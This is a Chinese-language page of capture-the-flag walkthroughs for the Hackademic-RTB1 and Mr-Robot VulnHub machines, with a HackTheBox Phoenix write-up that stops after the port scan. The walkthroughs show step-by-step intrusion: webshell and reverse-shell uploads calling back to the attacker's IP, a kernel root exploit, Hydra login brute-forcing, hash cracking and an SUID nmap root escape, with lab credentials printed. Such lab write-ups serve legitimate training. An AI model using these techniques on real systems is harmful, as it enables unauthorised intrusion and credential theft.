TonyBlack   a6e514f9486b83cb53d8d932f9a04292
JasonKonnors 8601f6e1028a8e8a966f6c33fcd9aec4
MaxBucky   50484c19f1afdaf3841a0d821ed393d2
```

#### 上传shell

5个用户爆出账号密码之后，发现GeorgeMiller有管理员权限，使用此账号登录GeorgeMiller/q1w2e3
如下图所示改为允许php文件上传

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub39.jpg)

上传文件成功

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub40.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub41.jpg)

#### 提权

冰蝎中执行命令查看内核版本

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub42.jpg)

``` bash
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
```

为此内核使用漏洞利用建议脚本。 可以在这里下载脚本[Linux_Exploit_Suggester](https://github.com/PenturaLabs/Linux_Exploit_Suggester)

``` bash
root@kali:~# ./Linux_Exploit_Suggester.pl -k 2.6.31

Kernel local: 2.6.31

Searching among 65 exploits...

Possible Exploits:
[+] american-sign-language
   CVE-2010-4347
   Source: http://www.securityfocus.com/bid/45408/
[+] can_bcm
   CVE-2010-2959
   Source: http://www.exploit-db.com/exploits/14814/
[+] do_pages_move
   Alt: sieve    CVE-2010-0415
   Source: Spenders Enlightenment
[+] half_nelson
   Alt: econet    CVE-2010-3848
   Source: http://www.exploit-db.com/exploits/6851
[+] half_nelson1
   Alt: econet    CVE-2010-3848
   Source: http://www.exploit-db.com/exploits/17787/
[+] half_nelson2
   Alt: econet    CVE-2010-3850
   Source: http://www.exploit-db.com/exploits/17787/
[+] half_nelson3
   Alt: econet    CVE-2010-4073
   Source: http://www.exploit-db.com/exploits/17787/
[+] msr
   CVE-2013-0268
   Source: http://www.exploit-db.com/exploits/27297/
[+] pipe.c_32bit
   CVE-2009-3547
   Source: http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c
[+] pktcdvd
   CVE-2010-3437
   Source: http://www.exploit-db.com/exploits/15150/
[+] ptrace_kmod2
   Alt: ia32syscall,robert_you_suck    CVE-2010-3301
   Source: http://www.exploit-db.com/exploits/15023/
[+] rawmodePTY
   CVE-2014-0196
   Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c
[+] rds
   CVE-2010-3904
   Source: http://www.exploit-db.com/exploits/15285/
[+] reiserfs
   CVE-2010-1146
   Source: http://www.exploit-db.com/exploits/12130/
[+] video4linux
   CVE-2010-3081
   Source: http://www.exploit-db.com/exploits/15024/
```

一个个慢慢尝试，直到使用了rds这个exploit成功了。
[+] rds
   CVE-2010-3904
   Source: http://www.exploit-db.com/exploits/15285/

[下载地址：](http://www.exploit-db.com/exploits/15285/)

然后使用冰蝎的shell将15285.c上传到服务器目录下

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub43.jpg)

locate命令查找kali中的php的reverse shell

``` bash
root@kali:~# locate shells
/usr/share/webshells/asp
/usr/share/webshells/aspx
/usr/share/webshells/cfm
/usr/share/webshells/jsp
/usr/share/webshells/laudanum
/usr/share/webshells/perl
/usr/share/webshells/php
/usr/share/webshells/asp/cmd-asp-5.1.asp
/usr/share/webshells/asp/cmdasp.asp
/usr/share/webshells/aspx/cmdasp.aspx
/usr/share/webshells/cfm/cfexec.cfm
/usr/share/webshells/jsp/cmdjsp.jsp
/usr/share/webshells/jsp/jsp-reverse.jsp
/usr/share/webshells/perl/perl-reverse-shell.pl
/usr/share/webshells/perl/perlcmd.cgi
/usr/share/webshells/php/findsocket
/usr/share/webshells/php/php-backdoor.php
/usr/share/webshells/php/php-reverse-shell.php
/usr/share/webshells/php/qsd-php-backdoor.php
/usr/share/webshells/php/simple-backdoor.php
/usr/share/webshells/php/findsocket/findsock.c
/usr/share/webshells/php/findsocket/php-findsock-shell.php
```

其中/usr/share/webshells/php/php-reverse-shell.php即为要使用的shell,leafpad打开此文件修改ip地址和端口号如下图,改成kali攻击机的ip和端口

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub44.jpg)

然后同样如上方式上传到服务器的目录下,浏览器访问该木马，同时kali攻击机上nc监听

``` bash
listening on [any] 5566 ...
192.168.84.140: inverse host lookup failed: Unknown host
connect to [192.168.84.135] from (UNKNOWN) [192.168.84.140] 51935
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
 02:55:19 up  4:02,  0 users,  load average: 4.99, 4.97, 4.91
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=489(apache) groups=489(apache)
sh: no job control in this shell
sh-4.0$ pwd
/
pwd
sh-4.0$ id
uid=48(apache) gid=489(apache) groups=489(apache)
id
sh-4.0$
```
成功弹回shell  ;););)

gcc编译提权脚本并执行

``` bash
sh-4.0$ ls
15285.c
php-reverse-shell.php
plugins
shell.php
themes
ls
sh-4.0$ chmod 777 *
chmod 777 *
chmod: changing permissions of `plugins': Operation not permitted
chmod: changing permissions of `themes': Operation not permitted
sh-4.0$ gcc 15285.c -o 15285
gcc 15285.c -o 15285
sh-4.0$ ./15285
./15285
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved security_ops to 0xc0aa19ac
 [+] Resolved default_security_ops to 0xc0955c6c
 [+] Resolved cap_ptrace_traceme to 0xc055d9d7
 [+] Resolved commit_creds to 0xc044e5f1
 [+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting security ops...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved security_ops to 0xc0aa19ac
 [+] Resolved default_security_ops to 0xc0955c6c
 [+] Resolved cap_ptrace_traceme to 0xc055d9d7
 [+] Resolved commit_creds to 0xc044e5f1
 [+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved security_ops to 0xc0aa19ac
 [+] Resolved default_security_ops to 0xc0955c6c
 [+] Resolved cap_ptrace_traceme to 0xc055d9d7
 [+] Resolved commit_creds to 0xc044e5f1
 [+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
id
uid=0(root) gid=0(root)
whoami
root
```

提权成功！就是这么屌！！！接下来读取key.txt文件找到密码，挑战完成。

``` bash
cd /root

ls
Desktop
anaconda-ks.cfg
key.txt
key.txt~

cat key.txt
Yeah!!
You must be proud because you 've got the password to complete the First *Realistic* Hackademic Challenge (Hackademic.RTB1) :)

$_d&jgQ>>ak\#b"(Hx"o<la_%

Regards,
mr.pr0n || p0wnbox.Team || 2011
http://p0wnbox.com
```

#### eg:

还可以使用如下命令将shell变得看起来更舒服

``` bash
python -c 'import pty; pty.spawn("/bin/sh")'
```

不好意思，这次没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

<font color="red">***The end,to be continue...***</font>
<!-- kb:end Hackademic-RTB1 -->

</details>

<a id="case-mr-robot-1"></a>

## 认证响应、去重字典与交互式程序

WordPress 登录反馈决定用户名与字典，哈希材料连接本地用户。后续保留 SUID nmap 交互模式的权限变化。

<p class="kb-provenance">来源 Mr-Robot-1 · 原记录 2020-01-02 · 24 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-mr-robot-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start Mr-Robot-1 -->

#### 发布日期
名称：Mr-Robot: 1
发布日期：2016年6月28日

#### 下载

 - Download (Mirror): https://download.vulnhub.com/mrrobot/mrRobot.ova
 - Download (Torrent): https://download.vulnhub.com/mrrobot/mrRobot.ova.torrent



#### 描述

根据表演，机器人先生。
此VM在不同位置有三个key。 您的目标是找到全部三个。 每个密钥逐渐难以找到。
VM不太困难。 没有任何高级开发或逆向工程。 该级别被认为是初学者-中级。

#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.56.0/24
Nmap scan report for 192.168.56.107
Host is up (0.00027s latency).
MAC Address: 08:00:27:8D:B7:92 (Oracle VirtualBox virtual NIC)
```

``` bash
root@kali:~# nmap -p- -v -sV -Pn 192.168.56.107
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
443/tcp open   ssl/http Apache httpd
```

``` bash
root@kali:~# nmap -p 80,443,22 -sV -Pn -T5 -A --script=vuln 192.168.56.107
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.107
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.56.107:80/js/u;c.appendChild(o);'+(n?'o.c=0;o.i=setTimeout(f2,100)':'')+'}}catch(e){o=0}return
|     Form id: 
|     Form action: http://192.168.56.107/
|     
|     Path: http://192.168.56.107:80/js/u;c.appendChild(o);'+(n?'o.c=0;o.i=setTimeout(f2,100)':'')+'}}catch(e){o=0}return
|     Form id: 
|     Form action: http://192.168.56.107/
|     
|     Path: http://192.168.56.107:80/js/BASE_URL+%22/live/%22);this.firstBoot?(this.firstBoot=!1,this.track.omni("Email
|     Form id: 
|     Form action: http://192.168.56.107/
|     
|     Path: http://192.168.56.107:80/js/BASE_URL+%22/live/%22);this.firstBoot?(this.firstBoot=!1,this.track.omni("Email
|     Form id: 
|     Form action: http://192.168.56.107/
|     
|     Path: http://192.168.56.107:80/js/vendor/null,this.tags.length=0%7d,t.get=function()%7bif(0==this.tags.length)return
|     Form id: 
|     Form action: http://192.168.56.107/
|     
|     Path: http://192.168.56.107:80/js/vendor/null,this.tags.length=0%7d,t.get=function()%7bif(0==this.tags.length)return
|     Form id: 
|     Form action: http://192.168.56.107/
|     
|     Path: http://192.168.56.107:80/wp-login.php
|     Form id: loginform
|_    Form action: http://192.168.56.107/wp-login.php
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /admin/: Possible admin folder
|   /admin/index.html: Possible admin folder
|   /wp-login.php: Possible admin folder
|   /robots.txt: Robots file
|   /feed/: Wordpress version: 4.3.1
|   /wp-includes/images/rss.png: Wordpress version 2.2 found.
|   /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
|   /wp-includes/images/blank.gif: Wordpress version 2.6 found.
|   /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
|   /wp-login.php: Wordpress login page.
|   /wp-admin/upgrade.php: Wordpress login page.
|   /readme.html: Interesting, a readme.
|   /0/: Potentially interesting folder
|_  /image/: Potentially interesting folder
|_http-passwd: ERROR: Script execution failed (use -d to debug)
|_http-server-header: Apache
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
443/tcp open   ssl/http Apache httpd
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.107
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: https://192.168.56.107:443/js/vendor/null,this.tags.length=0%7d,t.get=function()%7bif(0==this.tags.length)return
|     Form id: 
|     Form action: https://192.168.56.107:443/
|     
|     Path: https://192.168.56.107:443/js/vendor/null,this.tags.length=0%7d,t.get=function()%7bif(0==this.tags.length)return
|     Form id: 
|     Form action: https://192.168.56.107:443/
|     
|     Path: https://192.168.56.107:443/js/u;c.appendChild(o);'+(n?'o.c=0;o.i=setTimeout(f2,100)':'')+'}}catch(e){o=0}return
|     Form id: 
|     Form action: https://192.168.56.107:443/
|     
|     Path: https://192.168.56.107:443/js/u;c.appendChild(o);'+(n?'o.c=0;o.i=setTimeout(f2,100)':'')+'}}catch(e){o=0}return
|     Form id: 
|     Form action: https://192.168.56.107:443/
|     
|     Path: https://192.168.56.107:443/js/rs;if(s.useForcedLinkTracking||s.bcf){if(!s."
|     Form id: 
|     Form action: https://192.168.56.107:443/
|     
|     Path: https://192.168.56.107:443/js/rs;if(s.useForcedLinkTracking||s.bcf){if(!s."
|     Form id: 
|_    Form action: https://192.168.56.107:443/
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /admin/: Possible admin folder
|   /admin/index.html: Possible admin folder
|   /wp-login.php: Possible admin folder
|   /robots.txt: Robots file
|   /feed/: Wordpress version: 4.3.1
|   /wp-includes/images/rss.png: Wordpress version 2.2 found.
|   /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
|   /wp-includes/images/blank.gif: Wordpress version 2.6 found.
|   /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
|   /wp-login.php: Wordpress login page.
|   /wp-admin/upgrade.php: Wordpress login page.
|   /readme.html: Interesting, a readme.
|   /0/: Potentially interesting folder
|_  /image/: Potentially interesting folder
|_http-passwd: ERROR: Script execution failed (use -d to debug)
|_http-server-header: Apache
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_sslv2-drown:
```

dirb扫一波

``` bash
root@kali:~# dirb http://192.168.56.107/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Jan  2 20:43:02 2020
URL_BASE: http://192.168.56.107/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.56.107/ ----
==> DIRECTORY: http://192.168.56.107/0/                                                               
==> DIRECTORY: http://192.168.56.107/admin/                                                           
+ http://192.168.56.107/atom (CODE:301|SIZE:0)                                                        
==> DIRECTORY: http://192.168.56.107/audio/                                                           
==> DIRECTORY: http://192.168.56.107/blog/                                                            
==> DIRECTORY: http://192.168.56.107/css/                                                             
+ http://192.168.56.107/dashboard (CODE:302|SIZE:0)                                                   
+ http://192.168.56.107/favicon.ico (CODE:200|SIZE:0)                                                 
==> DIRECTORY: http://192.168.56.107/feed/                                                            
==> DIRECTORY: http://192.168.56.107/image/                                                           
==> DIRECTORY: http://192.168.56.107/Image/                                                           
==> DIRECTORY: http://192.168.56.107/images/                                                          
+ http://192.168.56.107/index.html (CODE:200|SIZE:1188)                                               
+ http://192.168.56.107/index.php (CODE:301|SIZE:0)                                                   
+ http://192.168.56.107/intro (CODE:200|SIZE:516314)                                                  
==> DIRECTORY: http://192.168.56.107/js/                                                              
+ http://192.168.56.107/license (CODE:200|SIZE:309)                                                   
+ http://192.168.56.107/login (CODE:302|SIZE:0)                                                       
+ http://192.168.56.107/page1 (CODE:301|SIZE:0)                                                       
+ http://192.168.56.107/phpmyadmin (CODE:403|SIZE:94)                                                 
+ http://192.168.56.107/rdf (CODE:301|SIZE:0)                                                         
+ http://192.168.56.107/readme (CODE:200|SIZE:64)                                                     
+ http://192.168.56.107/robots (CODE:200|SIZE:41)                                                     
+ http://192.168.56.107/robots.txt (CODE:200|SIZE:41)                                                 
+ http://192.168.56.107/rss (CODE:301|SIZE:0)                                                         
+ http://192.168.56.107/rss2 (CODE:301|SIZE:0)                                                        
+ http://192.168.56.107/sitemap (CODE:200|SIZE:0)                                                     
+ http://192.168.56.107/sitemap.xml (CODE:200|SIZE:0)                                                 
==> DIRECTORY: http://192.168.56.107/video/                                                           
==> DIRECTORY: http://192.168.56.107/wp-admin/                                                        
+ http://192.168.56.107/wp-config (CODE:200|SIZE:0)                                                   
==> DIRECTORY: http://192.168.56.107/wp-content/                                                      
+ http://192.168.56.107/wp-cron (CODE:200|SIZE:0)                                                     
==> DIRECTORY: http://192.168.56.107/wp-includes/                                                     
+ http://192.168.56.107/wp-links-opml (CODE:200|SIZE:227)                                             
+ http://192.168.56.107/wp-load (CODE:200|SIZE:0)                                                     
+ http://192.168.56.107/wp-login (CODE:200|SIZE:2678)                                                 
+ http://192.168.56.107/wp-mail (CODE:500|SIZE:3064)                                                  
+ http://192.168.56.107/wp-settings (CODE:500|SIZE:0)                                                 
+ http://192.168.56.107/wp-signup (CODE:302|SIZE:0)                                                   
+ http://192.168.56.107/xmlrpc (CODE:405|SIZE:42)                                                     
+ http://192.168.56.107/xmlrpc.php (CODE:405|SIZE:42)
```
可以看到是wordpress的cms

看一看robots.txt
http://192.168.56.107/robots.txt

``` bash
User-agent: *
fsocity.dic
key-1-of-3.txt
```

此时第一个key已经有了
http://192.168.56.107/key-1-of-3.txt

``` bash
073403c8a58a1f80d943455fb30724b9
```

然后将fsocity.dic下载下来分析

``` bash
root@kali:~# wget http://192.168.56.107/fsocity.dic
--2020-01-02 20:53:02--  http://192.168.56.107/fsocity.dic
正在连接 192.168.56.107:80... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：7245381 (6.9M) [text/x-c]
正在保存至: “fsocity.dic”

fsocity.dic               100%[====================================>]   6.91M  26.5MB/s  用时 0.3s    

2020-01-02 20:53:02 (26.5 MB/s) - 已保存 “fsocity.dic” [7245381/7245381])
```

``` bash
root@kali:~# file fsocity.dic 
fsocity.dic: , name offset 0x620a7574
root@kali:~# wc -l fsocity.dic 
858160 fsocity.dic
root@kali:~# head fsocity.dic 
true
false
wikia
from
the
now
Wikia
extensions
scss
window
```

这看起来像一个自定义单词列表，其中包含800k +个单词。但是，似乎有很多重复了：

``` bash
root@kali:~# sort fsocity.dic | uniq | wc -l
11451
```

将fsocity.dic去重

``` bash
root@kali:~# sort fsocity.dic | uniq > fsocityrm.dic
root@kali:~# wc -l fsocityrm.dic
11451 fsocityrm.dic
```

可以看到去重之后的字典只有11451条了，显然在这里安装了wordpress。 如果浏览到/readme.html，可以看到使用的WordPress版本为4.3.9。要做的下一件事是在计算机上运行WpScan。 它揭示了几个过时的模块，但没有设法利用。
因此，决定专注于管理面板，并尝试强行爆破管理员账号密码。 第一步是找到有效的用户名。 不幸的是，该网站似乎没有任何帖子，因此没有作者信息出现。 WpScan也无法枚举用户。
幸运的是，有一个非常方便的工具叫做Hydra，它可以暴力破解几乎所有东西，包括HTTP格式的用户名。 这是尝试登录/wp-login.php时发出的POST请求

``` bash
POST /wp-login.php HTTP/1.1
Host: 192.168.56.107
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
Origin: http://192.168.56.107
Connection: close
Referer: http://192.168.56.107/wp-login.php?redirect_to=http%3A%2F%2F192.168.56.107%2Fwp-admin%2F&reauth=1
Cookie: s_fid=6F117A4BEDFCBCE8-0646B35B635BEF6C; s_nr=1577958190705; s_cc=true; s_sq=%5B%5BB%5D%5D; wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1

log=user&pwd=pass&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.56.107%2Fwp-admin%2F&testcookie=1
```

使用hydra爆破，第一步，尝试找到用户名

``` bash
root@kali:~# hydra -L fsocityrm.dic -p wedontcare 192.168.56.107 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username"

[80][http-post-form] host: 192.168.56.107   login: elliot   password: wedontcare
[80][http-post-form] host: 192.168.56.107   login: Elliot   password: wedontcare
[80][http-post-form] host: 192.168.56.107   login: ELLIOT   password: wedontcare
```
 - 得到用户名是elliot，不区分大小写。

<font color="red">分解下各个参数的含义</font>

 - -vV : 输出详情
 - -L fsocityrm.dic : 尝试fsocityrm.dic中的所有用户名
 - -p wedontcare : 使用唯一的密码没关系（我们现在只对用户名感兴趣）
 - 192.168.56.107 : wordpress的ip地址
 - http-post-form : 要尝试的暴力手段，这里是HTTP POST表单
 - ‘/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username’
   /wp-login.php : 表单所在的路径
   log=^USER^&pwd=^PASS^&wp-submit=Log+In : 要发送的POST参数。^USER^和^PASS^是占位符，将被替换为实际值。
   F=Invalid username : 如果响应包含文本无效的用户名，则将尝试视为失败（F）

得到用户名之后用hydra爆破密码

``` bash
root@kali:~# hydra -l elliot -P fsocityrm.dic 192.168.56.107 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect." -t 64

[80][http-post-form] host: 192.168.56.107   login: elliot   password: ER28-0652
```

 - 得到密码：ER28-0652

#### getshell

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub126.jpg)

将图片中的内容替换成冰蝎马，然后连接

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub127.jpg)

上传php-reverse-shell，然后kali端监听

``` bash
http://192.168.56.107/wp-content/themes/twentyfifteen/phpreverseshell.php
```

``` bash
root@kali:~# nc -lvp 5566
listening on [any] 5566 ...
192.168.56.107: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.107] 52294
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
 11:43:48 up  2:18,  0 users,  load average: 0.00, 0.15, 0.42
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
$ whoami
daemon
$ python -c 'import pty; pty.spawn("/bin/sh")'
$
```

成功弹回shell

找到第二个key，但是权限不足

``` bash
$ cd home
cd home
$ ls
ls
robot
$ cd robot
cd robot
$ ls
ls
key-2-of-3.txt  password.raw-md5
$ cat key-2-of-3.txt
cat key-2-of-3.txt
cat: key-2-of-3.txt: Permission denied
```

接着看看password.raw-md5有什么

``` bash
$ cat password.raw-md5
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
```

显然，它看起来像是未加盐的MD5哈希密码，使用HashCat进行破解应该很容易。

``` bash
$ ./hashcat64.exe -a 0 -m 0 c3fcd3d76192e4007dfb496cca67e13b D:/wordlists/rockyou.txt
hashcat (v5.1.0) starting...

* Device #1: Intel's OpenCL runtime (GPU only) is currently broken.
             We are waiting for updated OpenCL drivers from Intel.
             You can use --force to override, but do not report related errors.
* Device #3: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
nvmlInit(): Unknown Error

OpenCL Platform #1: Intel(R) Corporation
========================================
* Device #1: Intel(R) UHD Graphics 630, skipped.
* Device #2: Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz, skipped.

OpenCL Platform #2: NVIDIA Corporation
======================================
* Device #3: GeForce GTX 1070, 2048/8192 MB allocatable, 16MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.

Watchdog: Temperature abort trigger set to 90c

Dictionary cache built:
* Filename..: D:/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec

c3fcd3d76192e4007dfb496cca67e13b:abcdefghijklmnopqrstuvwxyz

Session..........: hashcat
Status...........: Cracked
Hash.Type........: MD5
Hash.Target......: c3fcd3d76192e4007dfb496cca67e13b
Time.Started.....: Fri Jan 03 11:57:09 2020 (0 secs)
Time.Estimated...: Fri Jan 03 11:57:09 2020 (0 secs)
Guess.Base.......: File (D:/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#3.........: 54880.6 kH/s (2.68ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 1048576/14344385 (7.31%)
Rejected.........: 0/1048576 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#3...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#3....: 123456 -> Leslee
Hardware.Mon.#3..: N/A

Started: Fri Jan 03 11:57:03 2020
Stopped: Fri Jan 03 11:57:11 2020
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub128.jpg)

由于电脑的GPU配置超屌，所以密码一秒钟就出来了，是abcdefghijklmnopqrstuvwxyz

``` bash
c3fcd3d76192e4007dfb496cca67e13b:abcdefghijklmnopqrstuvwxyz
```

直接登录

``` bash
$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz

robot@linux:~$ id
id
uid=1002(robot) gid=1002(robot) groups=1002(robot)
robot@linux:~$ whoami
whoami
robot
```

读取第二个key，帅呆了。。。

``` bash
robot@linux:~$ ls
ls
key-2-of-3.txt  password.raw-md5
robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
```

#### 提权

在MySQL数据库中没什么有趣的。 还有一个名为mich05654的WordPress用户，其密码为Dylan_2791，但似乎毫无用处。
经过一段时间的系统探索，发现了一个有趣的二进制文件，其SUID为：

``` bash
find / -perm -4000 -type f 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
```

是的，是NMap本身！ 确切地说，它是旧版本（3.81）。 有趣的是，可执行文件由root拥有。 由于其SUID位置1，因此如果设法让nmap运行命令，则nmap理论上可以以root用户身份执行命令。
看一下nmap –help的输出，可以告诉我们nmap具有–interactive选项，可以产生某种REPL。

``` bash
robot@linux:~$ nmap --interactive
nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# id
id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
# whoami
whoami
root
```

成功使用nmap提权，找到第3个key，挑战完成。。。

``` bash
cd /root
# ls
ls
firstboot_done  key-3-of-3.txt
# ls -la
ls -la
total 32
drwx------  3 root root 4096 Nov 13  2015 .
drwxr-xr-x 22 root root 4096 Sep 16  2015 ..
-rw-------  1 root root 4058 Nov 14  2015 .bash_history
-rw-r--r--  1 root root 3274 Sep 16  2015 .bashrc
drwx------  2 root root 4096 Nov 13  2015 .cache
-rw-r--r--  1 root root    0 Nov 13  2015 firstboot_done
-r--------  1 root root   33 Nov 13  2015 key-3-of-3.txt
-rw-r--r--  1 root root  140 Feb 20  2014 .profile
-rw-------  1 root root 1024 Sep 16  2015 .rnd
# cat firstboot_done
cat firstboot_done
# cat key-3-of-3.txt
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
```

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end Mr-Robot-1 -->

</details>

<a id="case-phoenix"></a>

## 插件盲注与双因素验证材料

两个 WordPress 插件分别提供查询与写入能力，OTP 材料和 rsync 任务影响本地身份。原文保留直接改插件未能继续推进的观察。

<p class="kb-provenance">来源 phoenix · 原记录 2022-03-24 · 23 个代码块 · 11 处图片引用</p>

<details class="kb-evidence" id="record-phoenix">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start phoenix -->

#### introduce

OS: Linux
Difficulty: Hard
Points:	40
Release:	05 Mar 2022
IP:	10.10.11.149

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2183.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### NMAP

``` bash
┌──(root💀kali)-[~/hackthebox/machine/phoenix]
└─# nmap -sV -v -p- --min-rate=10000 10.10.11.149
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd
443/tcp open  ssl/http Apache httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

We have a couple http ports, let’s start with them:

We’re given the domain phoenix.htb so we add it to /etc/hosts. We can register and login to an account:

After singing in, we’re taken to a wordpress panel:

We see pie register however no luck with exploiting it. We can bruteforce directories and find there’s a WAF too:

We also have a site administrator that we find over at /forum:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2184.jpg)

